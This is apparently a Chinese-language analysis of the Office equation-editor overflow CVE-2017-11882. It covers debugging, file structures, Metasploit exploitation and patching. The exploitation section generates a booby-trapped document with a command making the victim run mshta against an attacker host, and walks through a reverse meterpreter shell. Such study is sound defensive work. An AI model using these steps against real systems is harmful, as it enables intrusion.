一、 漏洞簡介
CVE-2017-11882屬于緩沖區溢出類型漏洞,產生漏洞原因于EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font Name數據)時沒有對名稱長度進行校驗,導致緩沖區溢出。通過覆蓋函數的返回地址,可執行任意代碼。
2017年11月14日,微軟發布了11月份的安全補丁更新,影響流行的所有Office版本。
二、 漏洞測試
使用Command_CVE-2017-11882.py腳本生成漏洞文件。
有兩種方式,我們先測試第一種彈出計算器。
三、 漏洞定位
由于緩沖區溢出函數處于EQNEDT32進程中,所以對它進行調試分析,打開漏洞文件會彈出計算器,一般采用Winexec函數調用,可對該函數進行下斷,然后進行逆推找出溢出點。
首先把eqnedt32.exe拖進od運行(或打開后進行附加),然后定位WinExec進行下斷,打開漏洞文件test.doc,此時斷點會停在WinExec函數上,
由于漏洞利用采用函數覆蓋返回地址,那我們可以從棧中找出漏洞函數的上層或上上層函數繼續進行分析,
在4115A7函數上下好斷點,重新打開漏洞文件,斷下后進行步過(F8)分析,在步過第一個call后并沒有返回,而是直接彈出了計算器,這就說明漏洞溢出點在這個call里面,也就是把棧中返回地址4115D8進行了覆蓋,從而轉向shellcode執行。
上圖是調用41160F,棧中保存的原始返回地址
在copy字體名字的時候,由于沒有校驗名稱長度,導致緩沖區溢出,從而過長的數據覆蓋了該函數的返回地址4115D8。
IDA分析可以看到[ebp+28]就是溢出緩沖區。
[ebp+28]分配的空間是0x24,超過此長度就會產生溢出,從而覆蓋返回地址。
在經過溢出點后,原始返回地址4115D8被覆蓋成402114。
這里覆蓋后的地址是402114,Retn后回轉到該地址處執行,
Retn執行后會轉向12F350處,存放的就是FONT[name]數據,也就是shellcode。
Shellcode中call WinExec函數彈出calc.exe。
成功彈出計算器。
四、 數據結構分析
漏洞出現在模塊EQNEDT32.EXE中,該模塊以OLE技術(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內。當插入和編輯數學公式時,EQNEDT32.EXE并不會被作為Office進程(如Word等)的子進程創建,而是以單獨的進程形式存在。這就意味著對于word、excel等Office進程的保護機制,無法阻止EQNEDT32.EXE這個進程被利用。漏洞存在于EQNEDT32.EXE處理Office OLE Equation對象中標記為字體名稱記錄的字節流中,如果Equation對象中存在標記為字體名稱的超長字節流,則程序在處理該字符串的過程,會由于判斷字符串長度而發生棧溢出漏洞。
Equation Native數據流 = EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR頭結構(共28字節)如下
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式頭長度,固定為0x1C。
DWORD version; // 固定為0x00020000。
WORD cf; // 該公式對象的剪貼板格式。
DWORD cbObject; // MTEF數據的長度,不包括頭部。
DWORD reserved1; // 未公開
DWORD reserved2; // 未公開
DWORD reserved3; // 未公開
DWORD reserved4; // 未公開
};
對應的數據如下圖
?
參考:http://rtf2latex2e.sourceforge.net/MTEF3.html
數據 8 對應的數據類型為FONT,記錄及結構如下:
struct stuFontRecord {
BYTE bTag; // 字體文件的tag位0x08
BYTE bTypeFace; // 字體風格
BYTE bStyle; // 字體樣式
BYTE bFontName[n] // 字體名稱,以NULL為結束符
};?
對應的數據如下圖
五、 RTF結構分析
其中,\objupdate控制字來保證OLE對象的自動更新和加載,從而觸發漏洞代碼執行。默認狀態下Office文檔中的OLE Object需要用戶雙擊才能生效。將OLE Object的屬性為自動更新,這樣無需交互,點擊打開文檔后OLE Object對象會生效,從而執行惡意代碼。
對漏洞文件ole對象分析
可以看到插入了數學公式ole對象
查看ole對象的目錄結構
可以看到ole對象中包含了Equation Native流
使用olebrowse工具查看Equation Native 流
六、 MSF利用
首先下載組件
把cve_2017_11882.rb copy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb
再Copy cve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits
啟動metasploit
使用search命令查找11882對應模塊,用命令use exploit/windows/smb/cve_2017_11882
show options查看要設置的參數
設置一個反彈式的meterpreter攻擊載荷
設置本機ip以及URI路徑
使用命令exploit -j 返回結果會顯示出與目標主機的哪個端口建立了連接
生成目標機的漏洞文檔,命令如下
Python Command109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test” -o test.doc
這里的為攻擊機的ip,端口設置8080以及URI設置test,生成后,在目標機打開該文檔。
如果成功,meterpreter會顯示返回連接信息,如失敗,可能是參數錯誤或者其它錯誤
成功后,使用命令sessions -l 查看你控制的pc
使用命令sessions -i 1 切換進入,輸入shell,進入cmd,whoami,OVER。
七、 修復漏洞
(1)下載https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新補丁進行修補
(2)開啟Windows Update功能,定期對系統進行自動更新
取消該模塊的注冊
(1)按下Win+R組合鍵,打開cmd.exe
(2)輸入以下兩條命令:
reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
參考資料:主要來自freebuf、pediy、csdn等平臺